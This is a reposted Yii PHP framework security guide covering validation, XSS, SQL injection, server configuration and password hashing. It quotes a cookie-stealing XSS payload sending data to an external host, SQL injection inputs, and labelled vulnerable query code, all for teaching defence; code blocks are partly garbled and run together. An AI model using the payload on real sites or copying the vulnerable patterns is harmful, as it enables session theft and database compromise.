# How to write secure Yii applications

+关注继续查看

http://www.yiiframework.com/wiki/275/how-to-write-secure-yii-applications

http://www.yiiframework.com/doc/guide/1.1/zh_cn/topics.security

http://yjlblog.com/yii%e6%a1%86%e6%9e%b6%e5%bc%80%e5%8f%91%e5%ae%89%e5%85%a8%e8%80%83%e8%99%91/

warning:   While this security guide  tries to be quite complete, is not exhaustive.  If security matters for you, you ought to check several other references.

## General principles ¶

• Validate the user input (see below for details).
• Protect (escape) your application output according to context (see below for a few output types, mostly HTML and SQL).
• Test your application in debug mode.
Set the constant YII_DEBUG to true (by default, it is defined in  index.php) and put alongside error_reporting(E_ALL);. Then errors and warnings will stop the execution and Yii will display the message, the source code and the call stack. Even an undefined key in an array (which is just a "E_NOTICE" level) can cause security problems.
• Disable the debug mode in production.
Make sure your error messages don't contain sensitive information.
• Whenever possible, filter by white-list instead of by black-list, i.e. allow only data that is in an authorized list.
• In production, keep logs. Parse them regularly for warnings and errors.
There are two levels of logs : application logs (handled by Yii) and server logs (handled by PHP and usually Apache). Yii logs are described inThe Definitive Guide to Yii, Logging. PHP logs are usually on by default. Please check your server configuration and your rights on the file system for accessing these log files.

## Validating the user input ¶

### How it works ¶

If a user can add its birth date to its profile, you have to make sure he gives a valid date. It's not only helpful to prevent mistypes, it also provides better security. Verifying the input is in the form "1951-01-25" will forbid dangerous texts that try to attack your database's SQL or your website's HTML. Validation is not a perfect protection, but it's an excellent first step.

### Client-side validation ¶

Validating a form with JavaScript has absolutely no impact on the security! It should only be meant as a way to enhance the interface and its comfort of use.

The HTML restriction are the same. For instance, if a page has a form containing:

<input type="hidden" name="id" value="1" />
<input type="text" name="date" size="10" />
<select name="list"><option>1</option><option>2</option></select>

The data received in the PHP application can contain anything. The "id", "date" and "list" fields can be big strings or arrays. For example, a user can modify the HTML source of the page to replace both fields by text areas.

### How Yii can help ¶

Yii provides specific ways that can be used instead or along the usual PHP ways. For reference, the recommended way without Yii is mostly to use type casts and theFilter extension.

#### Validating through a model

Most of the times, the user input will be sent to a model. Models will generally extendCFormModel or CActiveRecord. Both of them derive from the classCModel. This class has a methodrules() that declares how the validation will process. The additional tests can be done with behaviors or thebeforeValidate() method.

The controller:

<?php
// In the controller
$model = new Comment;$model->attributes = $_POST['Comment']; if ($model->save()) { // validates and save
$this->redirect(array('view', 'id' =>$model->id));
} else {
// Could not validate, or could not save
}

The model:

<?php
// In the model
class Comment extends CActiveRecord
{
public function rules()
{
return array(
array('parent', 'numerical', 'integerOnly' => true),
array('strangedata', 'customValidateForStrangedata'),
array('description', 'length', 'max' => 255),
);
}

// extended validation, run before the rules set above
protected function beforeValidate()
if (!empty($this->description) && substr_count($this->description, '"') % 2 !== 0) {

## HTML output and XSS ¶

If the application prints unfiltered user input inside a HTML page, then it allows a malicious user to change the display of this page, and to inject client code (usually JavaScript) that can be run by other users. One typical use of these XSS attacks is to steal user sessions.

One note on vocabulary: filtering data for security concerns is often called escaping.

### Example ¶

Here is a extract of a view. The page just shows a user profile.

< h2>Profile of <?php echo $user->name ?></h2> Other unfiltered outputs: <a href="/posts?name=<?php echo$user->login ?>"
title='<?php echo $user->name ?>'>See my posts</a> Now suppose the user's name is: Joe<script>document.write('<img src="http://x.com/save.php?cookie='+getCookie()+'" />');function getCookie(){...}</script> Then everyone that consults this profile will send an HTTP request for an external image, and this request will contain data describing the visitor's cookies. PHP provides several functions that protect the output. The most useful one ishtmlspecialchars() but just in the example above, rawurlencode() andhtmlspecialchars(, ENT_QUOTES) would also be necessary. ### How Yii can help ¶ #### Plain text If you want to print plain text in a HTML page, use CHtml::encode(). Here is an example: <h2>Profile of <?php echo CHtml::encode($user->name) ?></h2>

This function is in fact a wrapper on htmlspecialchars() with your application's characters set (to be exact, it's not a charset but a character encoding). So if your texts are not (yet) in UTF-8, you should declare a charset in the global config (e.g. 'charset' => 'ISO-8859-1' in the first level of "protected/config/main.php").

You may want to apply strip_tags(), to remove HTML/XML tags before escaping. Beware, this function is not secure, so do not use it withoutCHtml::encode().

#### Rich text (HTML)

If you want to allow HTML in the user input, then you have to display it raw. Soyou should filter the HTML data (before saving it or after reading it, at your choice, though the former is recommended for performance reasons). Do not try to filter it yourself, several PHP libraries already exist. The most well-known isHtml Purifier, and it has been incorporated in Yii. For details, see the sectionSecurity, XSS in "The Definitive Guide to Yii".

<li class="comments">
<?php
$purifier = new CHtmlPurifier();$purifier->options = array(
'HTML.Allowed', 'p,a[href],b,i',
);
foreach (Comment::model()->findAll() as $comment) { // This can be dangerous //echo "<li>" .$comment->text . "</li>\n";

// Safe output (but slow)
echo "<li>" . $purifier->purify($comment->text) . "</li>\n";
}
?>
</li>

Allowing the user to enter HTML text can be useful, especially with Rich Text Editors like TinyMCE or FckEditor, but you may alsoconsider using templating languages, like Markdown or wiki syntax. Regarding security, the benefit is that the application converts to HTML, so the risk of XSS is low.

### Special cases: URLs, CSS, etc ¶

#### URL

To escape a string in an URL:

• use rawUrlEncode() for url parts,
• use urlEncode() for url parameters.

Here is an example of several cases in JavaScript and HTML:

<script>var a = "http://x.com/<?php echo rawUrlEncode($query) ?>"; </script> <a href="/search/<?php echo rawUrlEncode($query)) ?>">Escape url parts</a>
<a href="/?param=<?php echo urlEncode($param) ?>">Escape URL parameters</a> <a href="<?php echo CHtml::encode($url . "&param=" . urlEncode($param)) ?>">Escape whole URLs</a> CHtml::encode() cannot be used alone here because it could produce an invalid URL, for example with $query = '?x="N & B"'. But it cannot be removed since ampersands "&" have to be replaced by "&amp;".

### CSS ¶

Use Html Purifier. See the section on "Rich text (HTML)".

### JavaScript ¶

If you need to write from PHP to JavaScript, you should use the static methods ofCJavaScript.

<?php
$messages = array("Rock'n roll", 'Say "hello"');$title = "D'accord";
Yii::app()->clientScript->registerScript('snippet', "
function displayMsg() {
var messages = <?php echo CJavaScript::encode($messages); ?>; var title = '<?php echo CJavaScript::quote($title); ?>';
// ...
}
");

There is a special case where you do not want Yii to quote a string that is already valid in JS. In this case, you have to prefix your string with "js:", the prefix will be removed and the rest will be unchanged.

<?php
$this->widget( 'zii.widgets.jui.CJuiAutoComplete', array( 'name' => 'field_name', // Yii applies CJavaScript::quote to each value 'source' => 'js:function(request, response) {$.ajax({...}) }', // "js:" before the JS code

## SQL Injections ¶

### How it works ¶

When some user data is put unfiltered in a SQL query, it allows a malicious user to send its own SQL in the query.

<?php
// warning, dangerous code
Yii::app()->db
->createCommand("DELETE FROM mytable WHERE id = " . $_GET['id']) ->execute();$comments = Comment::model->findAll("user_id = " . $_GET['id']); If the GET parameter id is "4 OR 1=1" then someone who has the right to delete comment #4 will probably be able to delete all the other comments (it depends on how the authorization is granted, but that's another story). In the second request, it would be possible to read the content of the whole DB with input like "2 UNION SELECT ...". ### How Yii can help ¶ #### Use a PHP syntax instead of raw SQL Instead of the code of the example above, what follows is far more secure: <?php // still lacks validation (see "Validating user input" above), but more secure MyModel::model()->findByPk($_GET['id'])->delete();
// uses validation with a type cast
$comments = Comment::model->findAllByAttributes(array('user_id' => (int)$_GET['id']);

This is a general principle: if you build your SQL condition in pure text, you take more risks than a more PHP approach. For most DB functions,prefer array parameters to string parameters. Here is another example using PHP arrays:

<?php
// warning: potential sql injection
$comments = Comment::model->findAll("post_id =$postId AND author_id IN (" . join(',', $ids) . ")"); // secure (note how an array value is gives a "IN" since Yii$comments = Comment::model->findAllByAttributes(array("post_id" => $postId, "author_id" =>$ids));

#### Prepared statements

The are still cases where writing raw SQL is needed. Consider a simple query that has 2 parameters:

SELECT CONCAT(prefix, title) AS title, author_id, post_id, submit_date
FROM t_comment
WHERE (date > '{$date}' OR date IS NULL) AND title LIKE '%{$text}%'

There are 2 ways to secure this:

1. Escape each parameter (not recommended).
2. Use a prepared statement (recommended).

If you really want to escape each parameter, you can use CDbConnection::quoteValue(). For example, "date > '{$date}'" would become"date > " . Yii::app()->db->quoteValue($date).

Prepared statements is a way to declare parameters in your SQL. Depending on your configuration, the incomplete query will be compiled by the SQL server, then the values will be inserted at the right places (the actual behavior may vary because this process could be emulated from PHP, especially if the SQL engine doesn't allow it). Prepared statements removes any risk of SQL injection in the parameters. (Yet, beware, not everything is a parameter).

There are two ways to write this in Yii:

<?php
// Note the parameters are written :param without surrounding quotes
$sql = "SELECT CONCAT(prefix, title) AS title, author_id, post_id, date " . "FROM t_comment " . "WHERE (date > :date OR date IS NULL) AND title LIKE :text" // 1st way, using explicit binds$command = Yii::app()->db->createCommand($sql);$command->bindParam(":date", $date, PDO::PARAM_STR);$command->bindParam(":text", "%{$text}%", PDO::PARAM_STR);$results = $command->execute(); // second way$command = Yii::app()->db->createCommand($sql);$results = $command->execute(array(':date' =>$date, ':text' => "%{$text}%")); The first syntax with explicit bindings is a bit heavier, but it has the advantage of defining the parameter's type. When retrieving models from the DB, the syntax is simple: <?php$comments = Comment::model->findAllBySql($sql, array(':date' =>$date, ':text' => "%{$text}%")); If you don't feel at ease with the Yii way to query databases, please read the whole tutorialWorking with Databases in "The Definitive Guide to Yii". The sectionDatabase Access Objects has more details on binding parameters. ##### Side note on LIKE conditions Even if no SQL injection in possible in the previous queries, there is still room for improvement. The SQL functionLIKE has a special treatment for the characters "_" and "%". In many cases, this is not a problem, with mostly unexpected results. But if the data queried is huge, then transforming a"begin%" condition into "%s%a%" condition can make the query so heavy that it slows the SQL server, because no index can be used for the later. Soyou should protect the characters "%" and "_" when the user input is going into a LIKE condition, for example withstr_replace(). See further for example of how CDbCriteria::compare() or CDbCriteria::addSearchCondition() can simplify this. ##### Side note on positional parameters As of now (Yii 1.1.8), the framework does not recognized positional parameters marked with "?". You have to usednamed parameters whose names begin with ":". ##### Side note on performance A lone prepared statement is a bit slower than a non prepared one. This is probablynot a performance bottleneck for your application. But if you want to run several times the same query with variable bound parameters, then the prepared statements will be faster. Of course, none of this does apply when PHP emulates preparation. #### When prepared statements aren't enough As written above, prepared statements remove any risk of SQL injection in the parameters. Alas, there will be times when you need to use variables for parts of the SQL query that cannot use prepared statements. SELECT * FROM {$mytable}
WHERE {$myfield} LIKE '{$value}%' AND post_date < {$date} ORDER BY {$myfield}
LIMIT {$mylimit} The traditional way to solve this problem in pure PHP is to have white-lists of accepted values for each part. But Yii provide several ways to help. The first one is that Yii knows your DB schema, so you can write: <?php if (!Comment::model()->hasAttribute($myfield)) {
die("Error");
}

A very specific solution to build a secure SQL query is to use the "Query Builder", available since Yii 1.1.6. This is a way to write a complete SQL query in pure PHP, but it cannot be mixed with other approaches (raw SQL, CDbCriteria, etc). See the sectionQuery Builder in "The Definitive Guide to Yii".

Most of the time, your expected result is to be parsed as models, so you can usefind*() methods with CDbCriteria to build a more secure query. For example:

<?php
// Yii applies some validity checks when the query is not raw SQL
$criteria = new CDbCriteria( array( 'order' =>$myfield,
'limit' => $mylimit, ) );$criteria->compare($myfield,$value, true); // LIKE % escaped($value) %$criteria->compare('post_date', '<:date');
$criteria->params = array(':value' =>$value, ':date' => $date);$comments = Comment::model()->findAll($criteria) This is especially useful if you intend to use CGridView which is what Gii (the official scaffolding tool) suggests. CGridView expects a CDataProvider which uses CDbCriteria, so you don't have to pay too much attention to the user search input. To be complete, here is another syntax for the previous example: <?php // Yii applies some validity checks when the query is not raw SQL$criteria = new CDbCriteria();
$criteria->order =$myfield;
$criteria->limit =$mylimit;
$criteria->addSearchCondition($myfield, $value, true); // true ==> LIKE '%...%'$criteria->addCondition("post_date < :date");
$comments = Comment::model()->findAll($criteria, array(':value' => $value, ':date' =>$date));

### Summary on SQL injection ¶

In the following lists, the firsts choices are the easiest to secure, but it doesn't mean the last items are not secure.

<?php
$r = Yii::app()->db ->createCommand($sql)

### For a Yii application ¶

The directory containing the framework should not be under the document root of your server (there is no reason a user could access to files like "yiilite.php" in its web browser).

Three directories must be writable by the web server: "assets", "protected/data" and "protected/runtime".The web server should only have read access to everything else. This way, an attacker could only create/modify a file in these directories. The folder "assets" is especially dangerous since it is writable, and there is a direct HTTP access to it. Therefore, the PHP files it contains should not be interpreted but treated as plain text (see the example below).

Yii's default application have ".htaccess" files to forbid direct web access to "protected/" and "themes/classic/views/". It is a bit safer (and faster) to put this configuration in the global configuration of Apache. Here is an example that also disables PHP files in "assets/".

[apache]
# Example config for Yii-myapp and Apache
# Please set the pathes to their right values

# put the application in some custom url
# (instead of an Apache alias, a symbolic link can be used)
Alias /web/path/for/myapp "/home/myapp/www"

<Directory "/home/myapp/www">
AllowOverride None
</Directory>

<Directory "/home/myapp/www/protected">
Deny from All
</Directory>

<Directory "/home/myapp/www/assets">
Options -Indexes
</Directory>


Instead of the previous configuration, here is an example of putting a Yii application in a Virtual Host.

[apache]
# Example config for Yii-myapp as an Apache VirtualHost
# Please set the pathes to their right values

<VirtualHost *:80>
ServerName myapp.com
DocumentRootAlias /home/myapp/www

ErrorLog /var/log/apache2/myapp-error.log
CustomLog /var/log/apache2/myapp-access.log common

<Directory "/home/myapp/www">
AllowOverride None
php_flag register_globals Off
php_flag gpc_magic_quotes Off

#   <IfModule mod_rewrite.c>
#       # The following block is for masking "index.php" in the url
#       # We also need to configure the app: urlManager.showScriptName = false
#       IndexIgnore */*
#       RewriteEngine on
#       RewriteCond %{REQUEST_FILENAME} !-f
#       RewriteCond %{REQUEST_FILENAME} !-d
#       RewriteRule . index.php
#   </IfModule>
</Directory>

<Directory "/home/myapp/www/protected">
Deny from All
</Directory>

<Directory "/home/myapp/www/assets">
Options -Indexes
</Directory>
</VirtualHost>


### For every PHP project ¶

A few useful directives:

Directive Comment
allow_url_include Should be off (PHP 5.2).
register_globals This is obsolete and dangerous. Should be off.
magic_quotes_gpc Important for many PHP applications, but Yii negates its effect. Should be off.
open_basedir Can restrict PHP to access only some directories. Use with caution.
display_errors Should be off in production.
error_reporting Should always include at least E_ERRORS. See the official documentation.

This directives can be set in the global "php.ini" file. If Apache has AllowOverride Options, then ".htaccess" can be used.

[apache]
# .htaccess file
php_flag display_errors off
php_value error_reporting -1


One can also use php_admin_flag and php_admin_flag to set config parameters that can't be changed dynamically with ".htaccess" orini_set(). Here is an example in an Apache config file.

[apache]
# Apache config file
<Directory "/var/www/myapp">
</Directory>


SSL is out of the scope of this wiki page.

## Authorization ¶

Authorization is ensuring users only have access to the resources they have permissions on. This is a lengthy subject, and Yii provides many useful classes to handle permissions and roles. To learn about this, please readThe Definitive Guide to Yii from  Access Control Filter to Using Business Rules.

Another useful resource is in the wiki: Getting to Understand Hierarchical RBAC Scheme. For a more practical but limited case, seeCPhpAuthManager - how it works.

There are also severalextensions that can help you to set up the authorization system of your application.

## Authentication ¶

The validation rule must reject any weak password. Writing its own validation method is easy: just require a minimum size, and check that different classes of characters are present. You can also use a ready-made solution, the extensionepasswordstrength.

<?php
class User extends CActiveRecord
{
public function rules()
{
return array(
);
}

protected function checkPasswordStrength($attribute,$params)
{
$password =$this->$attribute;$valid = true;
$valid =$valid && preg_match('/[0-9]/', $password); // digit$valid = $valid && preg_match('/\W/',$password); // non-alphanum
// ... other rules ...
$valid =$valid && (strlen($password) > 7); // min size if ($valid) {
return true;
} else {
$this->addError($attribute, "Not secure enough");
return false;
}
}

Providing a client-side validation in JavaScript can be useful, since the user will know immediately if its password is secure. But don't forget this must not replace the validation in PHP. In fact, it makes validation a bit harder because your PHP validation must be the same as your JS validation. To be precise, it can be weaker than the JS, but it has to follow similar criteria. There is also an extension for this,estrongpassword.

This section considers only internal authentication, i.e. through passwords managed by the application. It does not consider LDAP, SSO, OpenID, or any other external service.

If the authentication process is internal, then of course you shouldn't store the passwords in plain text. The easiest solution for encryption is to use the well-known libraryPHPass. With Yii, it can be as simple as the following "User" model:

<?php

class User extends CActiveRecord
{
public function validatePassword($password) //$password is the user input
{
// Try to use stronger but system-specific hashes, with a possible fallback to
// the weaker portable hashes.
$hasher = new PasswordHash(8, FALSE); return$hasher->checkPassword($password,$this->password);
}

public function beforeSave()
{
// Replace the raw password with the hashed one
if (isset($this->password)) {$hasher = new PasswordHash(8, FALSE);
$this->password =$hasher->HashPassword(\$this->password);
}
return parent::beforeSave();
}

What the library PHPass does is applying random salting, choosing the best encrypting algorithm available, iterating it a high number of times... Nothing really hard to code by oneself, but why reinvent the wheel. And the author is a security expert, he wrote the famous "john the ripper" password-cracking tool (the successor of Jack the ripper ;). If you want to know more on passwords, the home page of the library contains links toward technical articles and a few advanced recommendations.

## Useful Tools ¶

There are several tools that can detect potential security breaches in your application. First, some web security scanners:

• Skipfish. Well-documented, powerful and easy to run. Like any other scanner, it will detect some false-positive issues, be careful when interpreting.
• Nikto. This is probably the most well-known.
• W3af, Web Application Attack and Audit Framework. This is a package of security tools with a common interface. It has both a CLI and GUI. It comes with an extensive documentation.

Then a scanner of a different type:

• RatProxy. This open-source tool is a proxy that will analyze your traffic to find potential security problems.

There are many other security tools, but this should be more than enough for any beginner. And if you're experimented enough with web security, please contribute!

0 0
【laravel】访问时You don‘t have permission to access on this server.
【laravel】访问时You don‘t have permission to access on this server.
0 0
Yii中使用gii遇到“unable to write the file”
﻿﻿ Yii中使用gii遇到“unable to write the file” 显然这是因为gii没有权限来写文件，所以如果你按照http://www.
1135 0
wamp You don't have permission to access / on this server等问题的解决.

823 0
wamp You don't have permission to access / on this server等问题的解决.

762 0
Bypassing HTTP Basic Authentication in PHP Applications
Basic authentication doesn’t work Using HTTP basic authentication to protect backends or adminitrative panels is a bad idea.
1020 0
RealNetworks Helix Server URI Traversal Arbitrary File Access
RealNetworks Helix Server URI Traversal Arbitrary File Access Vendor: RealNetworks (http://www.
437 0
Outlook Web Access (OWA) suffers from a vulnerability that allows direct access to files blocked by policy
This trick is mostly useful but can also be used for wrong purposes.
676 0
LFI2RCE (Local File Inclusion to Remote Code Execution) advanced exploitation: /proc shortcuts
664 0
+关注
cnbird

Protecting-Pentests-Recommendations-For-Performing-More-Secure-Tests

Opaque: A Secure Distributed Data Analytics Framework

Opaque:A Secure Distributed